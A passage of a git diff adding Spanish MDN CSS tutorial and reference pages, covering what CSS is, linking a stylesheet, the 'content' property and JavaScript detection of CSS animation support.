@@ -0,0 +1,40 @@
+---
+title: Comenzando (tutorial CSS)
+slug: Web/CSS/Comenzando_(tutorial_CSS)
+---
+<p> </p>
+<h2 id="Introducción">Introducción</h2>
+<p>Este tutorial te introducirá en las Hojas de Estilo en Cascada (CSS).</p>
+<p>Este tutorial te guiará a través de las características básicas de CSS con ejemplos prácticos que puedes probar tu mismo desde tu computadora. Está dividido en dos partes.</p>
+<ul> <li>La Parte I ilustra las características estándares de CSS que funcionan con los navegadores de Mozilla así como también con la mayoría de navegadores modernos.</li>
+</ul>
+<ul> <li>La Parte II contiene algunos ejemplos de características básicas que funcionan en Mozilla pero no necesariamente funciona en otros entornos.</li>
+</ul>
+<p>Este tutorial se base en la <a class=" external" href="http://www.w3.org/TR/CSS21/" title="http://www.w3.org/TR/CSS21/">especificación CSS 2.1</a></p>
+<h3 id="¿Quienes_deberían_usar_este_tutorial">¿Quienes deberían usar este tutorial?</h3>
+<p>Este tutorial es principalmente para principiantes en CSS, pero también puedes usarlo si tienes alguna experiencia con CSS.</p>
+<p>Si eres un principiante en CSS, usa la Parte I de este tutorial para entender y aprender como usar CSS. Luego usa la Parte II para entender el alcance de CSS en Mozilla.</p>
+<p>Si conoces algo de CSS, puedes saltarte las partes del tutorial que ya conozcas, y solo usar las partes que te interesan.</p>
+<p>Si tienes experiencia con CSS pero no con Mozilla, puedes saltarte a la Parte II.</p>
+<h3 id="¿Qué_necesitas_antes_de_empezar">¿Qué necesitas antes de empezar?</h3>
+<p>Para obtener el mayor provecho de este tutorial, necesitas un editor para archivos de texto, especialmente para la Parte II, un navegador de Mozilla (Firefox, Camino o SeaMonkey). También debes saber como usarlos de forma básica.</p>
+<p>Si no quieres editar archivos, puedes solo leer el tutorial y ver las imágenes, pero es una forma menos efectiva de aprender.</p>
+<p>Algunas partes de este tutorial requieren otros programas de Mozilla. Estas partes son opcionales. Si no quieres descargar otros programas de Mozilla, puedes saltarte estas partes.</p>
+<ul> <li><a href="/en/DOM_Inspector" title="en/DOM Inspector">DOM Inspector</a></li>
+</ul>
+<p><strong>Nota: </strong> CSS provee formas de trabajar con color, así que partes de este tutorial dependen del color. Puedes usar estas partes del tutorial fácilmente si tienes una pantalla a color y puedes visualizar normalmente los colores.</p>
+<h3 id="Como_usar_este_tutorial">Como usar este tutorial</h3>
+<p>Para usar este tutorial, lee las páginas cuidadosamente y en secuencia. Si te pierdes alguna página, entonces puedes tener dificultades para entender las páginas siguientes.</p>
+<p>En cada página, usa la sección <em>Información</em> para entender como funciona CSS. Usa la sección <em>Acción</em> para tratar de usar CSS en tu computadora.</p>
+<p>Para probar tu entendimiento, toma los retos al final de cada página. Las soluciones a los retos están enlazados bajo los mismos retos, así que no necesitas mirar las respuestas si no quieres hacerlo.</p>
+<p>Para entender CSS con mayor profundidad, lee la información que encuentres en las cajas subtituladas <em>Más detalles</em>. Usa los enlaces allí para encontrar información de referencia acerca de CSS.</p>
+<h2 id="Tutorial_Parte_I">Tutorial Parte I</h2>
+<p>Una guía de CSS paso a paso.</p>
+<ol> <li><strong><a href="/es/CSS/Getting_Started/Que_es_css" title="es/CSS/Getting_Started/Que_es_css">Que es CSS</a></strong></li> <li><a href="/es/CSS/Getting_Started/Por_que_usar_css" title="es/CSS/Getting_Started/Por_que_usar_css"><strong>Por qué usar CSS</strong></a></li> <li><a href="/es/CSS/Getting_Started/Como_funciona_css" title="es/CSS/Getting_Started/Como_funciona_css"><strong>Como funciona CSS</strong></a></li> <li><strong><a href="/es/CSS/Getting_Started/Cascada_y_herencia" title="es/CSS/Getting_Started/Cascada_y_herencia">Cascada y herencia</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Selectores" title="es/CSS/Getting_Started/Selectores">Selectores</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/CSS_legible" title="es/CSS/Getting_Started/CSS_legible">CSS legible</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Estilos_de_texto" title="es/CSS/Getting_Started/Estilos_de_texto">Estilos de texto</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Color" title="es/CSS/Getting_Started/Color">Color</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Contenido" title="es/CSS/Getting_Started/Contenido">Contenido</a> </strong></li> <li><strong><a href="/es/CSS/Getting_Started/Listas" title="es/CSS/Getting_Started/Listas">Listas</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Cajas" title="es/CSS/Getting_Started/Cajas">Cajas</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Estructura" title="es/CSS/Getting_Started/Estructura">Estructura</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Tablas" title="es/CSS/Getting_Started/Tablas">Tablas</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Media" title="es/CSS/Getting_Started/Media">Media</a></strong></li>
+</ol>
+<h2 id="Tutorial_Parte_II">Tutorial Parte II</h2>
+<p>Ejemplos que muestran el alcance de CSS usado con otras tecnologías web y de Mozilla.</p>
+<ol> <li><strong><a href="/es/CSS/Getting_Started/Javascript" title="es/CSS/Getting_Started/Javascript">JavaScript</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Graficos_svg" title="es/CSS/Getting_Started/Graficos_svg">Gráficos SVG</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/Data_xml" title="es/CSS/Getting_Started/Data_xml">Data XML</a></strong></li> <li><strong><a href="/es/CSS/Getting_Started/XBL_bindings" title="es/CSS/Getting_Started/XBL_bindings">XBL bindings</a> </strong></li> <li><strong><a href="/es/CSS/Getting_Started/Interfaces_de_usuario_XUL" title="es/CSS/Getting_Started/Interfaces_de_usuario_XUL">Interfaces de usuario XUL</a></strong></li>
+</ol>
+<p>{{ CSSTutorialTOC() }}</p>
+<p>{{ languages( { "es": "es/CSS/Introducción", "de": "de/CSS/Einführung", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "pl": "pl/CSS/Na_pocz\u0105tek", "pt": "pt/CSS/Como_come\u00e7ar", "zh-cn": "cn/CSS/\u5f00\u59cb" } ) }}</p>
diff --git a/files/es/web/css/como_iniciar/index.html b/files/es/web/css/como_iniciar/index.html
new file mode 100644
index 0000000000..facb250cb3
--- /dev/null
+++ b/files/es/web/css/como_iniciar/index.html
@@ -0,0 +1,5 @@
+---
+title: Como iniciar
+slug: Web/CSS/Como_iniciar
+---
+This page was auto-generated because a user created a sub-page to this page.
diff --git a/files/es/web/css/como_iniciar/por_que_usar_css/index.html b/files/es/web/css/como_iniciar/por_que_usar_css/index.html
new file mode 100644
index 0000000000..66badd7a3a
--- /dev/null
+++ b/files/es/web/css/como_iniciar/por_que_usar_css/index.html
@@ -0,0 +1,106 @@
+---
+title: Por que usar CSS
+slug: Web/CSS/Como_iniciar/Por_que_usar_CSS
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p> </p>
+<p>Esta página explica por qué los documentos usan CSS. Usas CSS para añadir una hoja de estilos a tu documento de prueba.</p>
+<p>Esta es la segunda sección del <a href="/es/CSS/Introducción" title="../../../../es/CSS/Introducci%C3%B3n">tutorial</a>.</p>
+<p>Sección anterior: <a href="/es/CSS/Como_iniciar/Que_es_CSS" title="es/CSS/Como_iniciar/Que_es_CSS">Que es CSS</a><br>
+ Sección siguiente: <a href="/en/CSS/Getting_Started/How_CSS_works" title="en/CSS/Getting Started/How CSS works">How CSS works</a></p>
+<h2 id="Información_¿Por_qué_usar_CSS">Información: ¿Por qué usar CSS?</h2>
+<p>CSS ayuda a mantener la información de contenido de un documento separado de los detalles de como mostrarlo. Los detalles de como se muestra el documento son conocidos como <em>estilos. </em>Si mantienes los estilos separados del contenido puedes:</p>
+<ul>
+ <li>Evitar duplicación</li>
+ <li>Hacer el mantenimiento más simple</li>
+ <li>Usar el mismo contenido con diferentes estilos para diferentes propositos.</li>
+</ul>
+<table>
+ <caption>
+  Ejemplo</caption>
+ <tbody>
+  <tr>
+   <td>
+    <p>Tu sitio web podría mostrar miles de páginas que se ven similar. Usando CSS, almacenas la información de estilos en archivos comunes que todas las páginas comparten.Cuando un usuario visualiza una página web, el navegador carga la información de estilos junto con el contenido de la página.</p>
+    <p>Cuando un usuario imprime una página web, podrías proveerle diferente información de estilos que hace que las páginas impresas sean fáciles de leer.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>En general con HTML, usas el lenguaje de marcado para describir la información del contenido del documento, no sus estilos. Usas CSS para especificar sus estilos, no su contenido. (Más adelante en este tutorial, verás algunas excepciones a este acuerdo).</p>
+<table>
+ <caption>
+  Más detalles</caption>
+ <tbody>
+  <tr>
+   <td>
+    <p>Un lenguaje de marcado como HTML también provee algunas maneras de especificar estilos.</p>
+    <p>Por ejemplo en HTML puedes usar una etiqueta <code>&lt;b&gt; </code>para hacer acentuar el texto, y puedes especificar un color de fondo de la página en la etiqueta <code>&lt;body&gt;</code>.</p>
+    <p>Cuando usas CSS, normalmente evitas usar estas características del lenguaje de marcado así toda la información de estilos de tu documento está en un solo lugar.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Acción_Creando_una_hoja_de_estilos">Acción: Creando una hoja de estilos</h2>
+<ol>
+ <li>Crea un archivo de texto en el mismo directorio anterior.  Este archivo será tu hoja de estilos. Nombrala como: <code>style1.css</code></li>
+ <li>En tu archivo CSS, copia y pega esta única línea, luego graba el archivo:</li>
+ <li>
+  <div>
+   <pre class="eval">strong {color: red;}
+</pre>
+  </div>
+ </li>
+</ol>
+<h3 id="Enlazando_tu_documento_a_tu_hoja_de_estillos">Enlazando tu documento a tu hoja de estillos</h3>
+<ol>
+ <li>Para enlazar tu documento a tu hoja de estilos, edita tu archivo HTML. Añade la línea acentuada aquí:</li>
+ <li>
+  <div>
+   <pre class="eval">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"<span class="nowiki">http://www.w3.org/TR/html4/strict.dtd</span>"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta http-equiv="Content-Type" content="text/html;
+charset=iso-8859-1"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  <strong>&lt;link rel="stylesheet" type="text/css" href="style1.css"&gt;</strong>
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+  </div>
+ </li>
+ <li>Graba el archivo y refresca la pantalla del navegador. Esta hoja de estilos hace que las letras inicales sean rojas, como esto:
+  <table>
+   <tbody>
+    <tr>
+     <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ol>
+<table>
+ <caption>
+  Reto</caption>
+ <tbody>
+  <tr>
+   <td>En adición al rojo, CSS permite algunos otros nombres de colores.
+    <p>Sin mirar la referencia, encuentra cinco o más nombres de colores que funcionen en tu hoja de estilos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Why_use_CSS_colors" title="en/CSS/Getting Started/Challenge solutions#Why use CSS colors">See a solution for the challenge.</a> Ver la solución al reto.</p>
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+<p>Si tienes alguna dificultad entendiendo esta página, o si tienes comentarios acerca de la misma, por favor contribuye en esta página de <a href="/Talk:en/CSS/Getting_Started/Why_use_CSS%3f" title="Talk:en/CSS/Getting_Started/Why_use_CSS%3f">Discusión</a>.</p>
+<p>Ahora que tienes un archivo de ejemplo enlazado a una hoja de estilos separada, estás listo para aprender más acerca de como tu navegador combina ellos cuando muestra el documento: <a href="/en/CSS/Getting_Started/How_CSS_works" title="en/CSS/Getting_Started/How_CSS_works">Como funciona CSS</a>.</p>
+<p>{{ CSSTutorialTOC() }}</p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "it": "it/Conoscere_i_CSS/Perch\u00e9_usare_i_CSS", "ja": "ja/CSS/Getting_Started/Why_use_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Po_co_u\u017cywa\u0107_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Porque_usar_CSS", "es": "es/CSS/Como_iniciar/Por_que_usar_CSS", "zh-cn": "cn/CSS/Getting_Started/Why_use_CSS" } ) }}</p>
diff --git a/files/es/web/css/como_iniciar/que_es_css/index.html b/files/es/web/css/como_iniciar/que_es_css/index.html
new file mode 100644
index 0000000000..fb914f0758
--- /dev/null
+++ b/files/es/web/css/como_iniciar/que_es_css/index.html
@@ -0,0 +1,145 @@
+---
+title: Que es CSS
+slug: Web/CSS/Como_iniciar/Que_es_CSS
+tags:
+  - para_revisar
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>En esta página se explica que es CSS. Usted creará un documento simple con el cual trabajará en las próximas páginas del tutorial.</p>
+
+<p>Esta es la primera sección del tutorial <a href="/es/CSS/Introducción" title="es/CSS/Introducción">Como iniciar</a>.<br>
+ Siguiente sección: <a href="/es/docs/CSS/Como_iniciar/Por_que_usar_CSS" title="en/CSS/Getting Started/Why use CSS">Por qué usar CSS</a></p>
+
+<h2 id="Información_¿Qué_es_CSS">Información: ¿Qué es CSS?</h2>
+
+<p>Cascading Style Sheets (<dfn><abbr title="Cascading Style Sheets">CSS</abbr></dfn>), traducido literalmente al español, como <em>Hojas de estilo en cascada</em>, es un lenguaje para especificar cómo los documentos se presentan a los usuarios.</p>
+
+<p>Un <em>documento (document)</em> es una colección de información que está estructurada utilizando un <em>lenguaje de formato (markup language)</em>.</p>
+
+<table style="background-color: #fffff4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Ejemplos</caption>
+ <tbody>
+  <tr>
+   <td>
+    <ul>
+     <li>Una página web como la que estás leyendo, es un documento.<br>
+      La información que ves en una página web usualmente está estructurada utilizando el lenguaje de formato de documentos de HiperTexto, HTML (HyperText Markup Language).</li>
+    </ul>
+
+    <ul>
+     <li>Un cuadro de diálogo en una aplicación Mozilla es un documento.<br>
+      Los controles de interfaz de usuario que pude ver en los diálogos de control de aplicaciones Mozilla, están estructurados utilizando el lenguaje de formato XUL (XML User-interface Language - Lenguaje XML de interfaces de usuario).</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En este tutorial, los cuadros con titulo <strong>Más detalles</strong>, como el que está a continuación, contienen información adicional. Si se cuenta con poco tiempo para progresar con el tutorial, entonces pude omitir estos cuadros, quizás retorne a leerlos luego. De lo contrario léalos cuando llegue a ellos y tal vez siga los enlaces que contienen para aprender más.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Más detalles</caption>
+ <tbody>
+  <tr>
+   <td>
+    <p>Un documento no es lo mismo que un archivo. Y este puede o no estar almacenado en un archivo.</p>
+
+    <p>Por ejemplo, el documento esta leyendo en este momento no está almacenado en un archivo. Cuando su navegador web solicita esta página, el servidor consulta a la base de datos y genera el documento, obteniendo las partes del mismo de diferentes archivos. Sin embargo, en este tutorial se trabajará con documentos que se almacenan en archivos.</p>
+
+    <p>Para más información acerca de documentos y lenguajes de formato, visite otras partes de este sitio web—por ejemplo:</p>
+
+    <table style="background-color: inherit; margin-left: 2em;">
+     <tbody>
+      <tr>
+       <td><a href="/en/HTML" title="en/HTML">HTML</a></td>
+       <td>para páginas web</td>
+      </tr>
+      <tr>
+       <td><a href="/en/XML" title="en/XML">XML</a></td>
+       <td>para documentos estrucurados, en general</td>
+      </tr>
+      <tr>
+       <td><a href="/en/SVG" title="en/SVG">SVG</a></td>
+       <td>para gráficas</td>
+      </tr>
+      <tr>
+       <td><a href="/en/XUL" title="en/XUL">XUL</a></td>
+       <td>para interfaces de usuario de Mozilla</td>
+      </tr>
+     </tbody>
+    </table>
+
+    <p>En la parte II de este tutorial podrá ver ejemplos de estos lenguajes de formato.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><em>Presentar</em> un documento a un usuario significa convertirlo en una forma en que el humano pueda hacer uso de el. Mozilla está diseñado para presentar documentos de manera visual—por ejemplo, en la pantalla de una computadora, en un proyector o en una impresora.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption>Más detalles</caption>
+ <tbody>
+  <tr>
+   <td>CSS no es sólo para los navegadores web, y no sólo para la presentación visual. En terminos formales CSS, el programa que presenta un documento a un usuario es llamado un <em>agente de usuarios</em> (UA - User Agent). Un navegador es sólo un tipo de UA. Sin embargo, en la parte I de este tutorial, se trabajará únicamente con CSS en un navegador.
+    <p>Para algunas de las definiciones formales de la terminología relacionda con CSS, consulte el enlace <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definiciones</a> (en ingles) en la especificación CSS.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Acción_Crear_un_documento">Acción: Crear un documento</h2>
+
+<ol>
+ <li>Utilice su computador para crear un nuevo directorio y un nuevo archivo de texto allí. El archivo contendrá el documento.
+  <ol>
+   <li>Copie y pegue el código HTML que se muestra a continuación. Guarde el archivo con el nombre <code>doc1.html</code>
+
+    <div style="width: 40em;">
+    <pre class="deki-transform">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta http-equiv="Content-Type" content="text/html;
+  charset=iso-8859-1"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;p&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+      &lt;strong&gt;B&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+    </div>
+   </li>
+  </ol>
+ </li>
+ <li>En el navegador web, abra una nueva pestaña o una nueva ventana, y abra el archivo allí.
+  <p>Debe observar un texto con las letras iniciales en negrita, así:</p>
+
+  <table style="border: 2px outset #3366bb; padding: 1em;">
+   <tbody>
+    <tr>
+     <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
+    </tr>
+   </tbody>
+  </table>
+
+  <p>Lo que ve en el navegador puede no lucir exactamente como en la imagen, debido a la configuración de su navegador web y esta wiki. Si existen algunas diferencias en el tipo de fuente, espaciado y los colores que ve, no son importantes.</p>
+ </li>
+</ol>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Si ha tenido dificultad para entender esta página, o si tiene comentarios acerca de ella, por favor contribuya con esta en la página de <a href="/Talk:en/CSS/Getting_Started/What_is_CSS%3f" title="Talk:en/CSS/Getting_Started/What_is_CSS?">Discusiones</a>.</p>
+
+<p>El documento aún no utiliza CSS. En la siguiente página se utilizará CSS para especificar el estilo: <strong><a href="/es/docs/CSS/Como_iniciar/Por_que_usar_CSS" title="en/CSS/Getting_Started/Why_use_CSS?">¿Por qué utilizar CSS?</a></strong></p>
+
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "pt": "pt/CSS/Como_come\u00e7ar/O_que_\u00e9_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS", "es": "es/CSS/Como_iniciar/Que_es_CSS" } ) }}</p>
diff --git a/files/es/web/css/content/index.html b/files/es/web/css/content/index.html
new file mode 100644
index 0000000000..624611a97e
--- /dev/null
+++ b/files/es/web/css/content/index.html
@@ -0,0 +1,58 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/content
+---
+<p> &lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>La propiedad <code>content</code> se usa junto con los pseudo-elementos <code>:before</code> y <code>:after</code> para generar contenido que se adjunta antes o después de un selector CSS.
+</p>
+<h3 id="Caracter.C3.ADsticas" name="Caracter.C3.ADsticas"> Características </h3>
+<p>En <b>CSS3</b>
+</p>
+<ul><li> Value: {{ mediawiki.external(' &lt;uri&gt; \',\' ') }}&lt;/uri&gt;* {{ mediawiki.external(' normal | none | inhibit | &lt;content-list&gt; ') }}&lt;/content-list&gt;
+</li><li> Valor inicial: normal
+</li><li> Se aplica a: todos los elementos y a <code>::before, ::after, ::alternate, ::marker, ::line-marker, áreas de margin y @footnote</code>.
+</li><li> {{ Cssxref("inheritance", "Valor heredado") }}: no
+</li><li> Porcentajes: N/A
+</li><li> Medio: todos
+</li><li> Valor calculada: The specified value with each occurrence of 'normal' expanded as per the prose below.
+</li></ul>
+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre>p:before
+{
+content: url("beep.wav")
+}
+
+img:before
+{
+content: attr(alt)
+}
+
+</pre>
+<h3 id="Valores" name="Valores"> Valores </h3>
+<ul><li> string: Define el contenido de texto. El valor por defecto es "".
+</li><li> url: Define una dirección URL
+</li><li> counter (name)
+</li><li> counter (name, list-style-type)
+</li><li> counters (name, string)
+</li><li> counters (name, string, list-style-type) </li><li> attr(X): Define un atributo de un selector que será mostrado antes/después del selector.
+</li><li> open-quote </li><li> close-quote </li><li> no-open-quote </li><li> no-close-quote
+</li></ul>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p><a class="external" href="http://www.w3.org/TR/REC-CSS2/generate.html#content">(CSS2 en)</a>
+<a class="external" href="http://www.w3.org/TR/CSS21/generate.html#content">(CSS2 1 en)</a>
+<a class="external" href="http://www.w3.org/TR/css3-content/#inserting3">(CSS3 en)</a>
+</p><p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Languages</span>
+</p>
+</div>
+{{ languages( { "en": "en/CSS/content" } ) }}
diff --git a/files/es/web/css/css_animations/detectar_soporte_de_animación_css/index.html b/files/es/web/css/css_animations/detectar_soporte_de_animación_css/index.html
new file mode 100644
index 0000000000..11bb0c0076
--- /dev/null
+++ b/files/es/web/css/css_animations/detectar_soporte_de_animación_css/index.html
@@ -0,0 +1,91 @@
+---
+title: Detectar soporte de animación CSS
+slug: Web/CSS/CSS_Animations/Detectar_soporte_de_animación_CSS
+translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
+---
+<p>{{CSSRef}}</p>
+
+<p>Las animaciones de CSS permiten realizar animaciones creativas de contenido usando nada más que CSS. Sin embargo, es posible que hayan momentos en que estas funciones no sean compatibles, y puede que desees manejar ese problema usando código JavaScript. Este artículo, basado en <a class="external" href="http://hacks.mozilla.org/2011/09/detecting-and-generating-css-animations-in-javascript/" title="http://hacks.mozilla.org/2011/09/detecting-and-generating-css-animations-in-javascript/">la publicación</a> de Chris Heilmann, demuestra una técnica de como hacer esto.</p>
+
+<h2 id="Prueba_de_la_compatibilidad_de_animaciones_CSS">Prueba de la compatibilidad de animaciones CSS</h2>
+
+<p>Este código comprueba si el soporte de animaciones CSS esta disponible:</p>
+
+<pre class="brush: js">var animation = false,
+    animationstring = 'animation',
+    keyframeprefix = '',
+    domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
+    pfx  = '',
+    elm = document.createElement('div');
+
+if( elm.style.animationName !== undefined ) { animation = true; }
+
+if( animation === false ) {
+  for( var i = 0; i &lt; domPrefixes.length; i++ ) {
+    if( elm.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
+      pfx = domPrefixes[ i ];
+      animationstring = pfx + 'Animation';
+      keyframeprefix = '-' + pfx.toLowerCase() + '-';
+      animation = true;
+      break;
+    }
+  }
+}
+</pre>
+
+<p>Para empezar, hemos definido algunas variables. Asumimos que las animaciones no son compatibles al establecer la variable <code>animation</code> a <code>false</code>. Establecemos <code>la variable animationstring</code> a <code>animation</code> la cual es la propiedad que queremos establecer mas tarde. Creamos un arreglo (array) sobre los prefijos de navegadores para realizar un bucle, y establecemos la variable <code>pfx</code> a una cadena vacía.</p>
+
+<p>Luego verificamos si la propiedad de CSS {{ cssxref("animation-name") }} esta establecida en la colección de estilo para el elemento especificado por la variable <code>elm</code>. Esto quiere decir que el navegador soporta animaciones CSS sin ningun prefijo, lo cual, hasta la fecha, ninguno de ellos lo hace.</p>
+
+<p>Si el navegador no soporta animaciones sin prefijos, y <code>animation</code> sigue siendo <code>false</code>, iteramos todos los posibles prefijos,  ya que todos los principales navegadores estan anteponiendo esta propiedad y cambiando su nombre a <code>AnimationName</code> en su lugar.</p>
+
+<p>Una vez que el código ha terminado de ejecutarse, el valor de <em><code>animation </code></em>será <em><code>false</code> </em>si el soporte de animacion CSS no esta disponible, de otro modo será <em><code>true</code></em>. Si es <em><code>true</code> </em>tanto el nombre de las propiedad de <code>animation</code> y el el prefijo keyframe serán los correctos. Así que si utilizas un nuevo Firefox, la propiedad será <code>MozAnimation</code> y el prefijo keyframe será <code>-moz-</code>, mientras en Chrome será <code>WebkitAnimation</code> y <code>-webkit-</code>. Tenga en cuenta que los navegadores no facilitan el cambio entre <em>camelCase </em>(Capitalizacion medial) y la<em> hyphen-ation</em> (separación).</p>
+
+<h2 id="Animaciones_utilizando_la_sintaxis_correcta_para_diferentes_navegadores">Animaciones utilizando la sintaxis correcta para diferentes navegadores</h2>
+
+<p>Ahora que sabes si las animaciones CSS son compatibles o no, podemos animar.</p>
+
+<pre class="brush: js">if( animation === false ) {
+
+  // animate in JavaScript fallback
+
+} else {
+  elm.style[ animationstring ] = 'rotate 1s linear infinite';
+
+  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
+                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
+                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
+                  '}';
+
+  if( document.styleSheets &amp;&amp; document.styleSheets.length ) {
+
+      document.styleSheets[0].insertRule( keyframes, 0 );
+
+  } else {
+
+    var s = document.createElement( 'style' );
+    s.innerHTML = keyframes;
+    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
+
+  }
+
+}
+</pre>
+
+<p>Este código examina el valor de <em><code>animation</code></em>; si es <em><code>false</code></em>, sabemos que tendremos que recurrir a la alternativa de JavaScript para realizar nuestra animacion. De otra manera, podemos usar JavaScript para crear los efectos de animación CSS deseados.</p>
+
+<p>Establecer las propiedades de animación es fácil; simplemente actualiza su valor en la colección de estilos. Aunque, añadir <code>keyframes</code> es más complicado, ya que no están definidas usando la sintaxis tradicional de CSS (lo que los hace mas flexible, pero mas difícil desde script).</p>
+
+<p>Para definir nuestros keyframes usando JavaScript, necesitamos transcribirlos como una cadena CSS. Todo lo que hacemos es crear una variable <code>keyframes</code>, anteponiendo cada atributo tal como se construye. Esta variable, una vez construida, contiene la descripción completa de todos los keyframes necesarios por nuestra secuencia de animación.</p>
+
+<p>La siguiente tarea es realmente añadir los keyframes al CSS de la página. Lo primeron que hay que hacer es mirar a ver si existe una hoja de estilo en el documento; si es así, sensillamente insertamos el keyframe descrito dentro de la hoja de estilos; esto se hace en las lineas 13-15.</p>
+
+<p>Si aún no existe una hoja de estilos, se crea un nuevo elemento {{ HTMLElement("style") }} , y su contenido se incorpora al valor de los keyframes. Luego se sinerta el valor {{ HTMLElement("style") }} dentro del{{ HTMLElement("head") }} del documento, añadiendo así la nueva hoja de estilo del document.</p>
+
+<p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">Ver en el JSFiddle</a></p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a href="es/docs/Web/CSS/CSS_Animations/Usando_animaciones_CSS" title="en/CSS/CSS animations">Animaciones CSS</a></li>
+</ul>
diff --git a/files/es/web/css/css_animations/index.html b/files/es/web/css/css_animations/index.html
new file mode 100644
index 0000000000..7c953b2359
--- /dev/null
+++ b/files/es/web/css/css_animations/index.html
@@ -0,0 +1,136 @@
+---
+title: CSS Animations
+slug: Web/CSS/CSS_Animations
+tags:
+  - CSS
+  - CSS Animations
+  - Experimental
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><strong>CSS Animations</strong> is a module of CSS that defines how to animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their duration, their number of repetitions, and how they repeat.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_At-rules">CSS At-rules</h3>
+
+<div class="index">
+<ul>
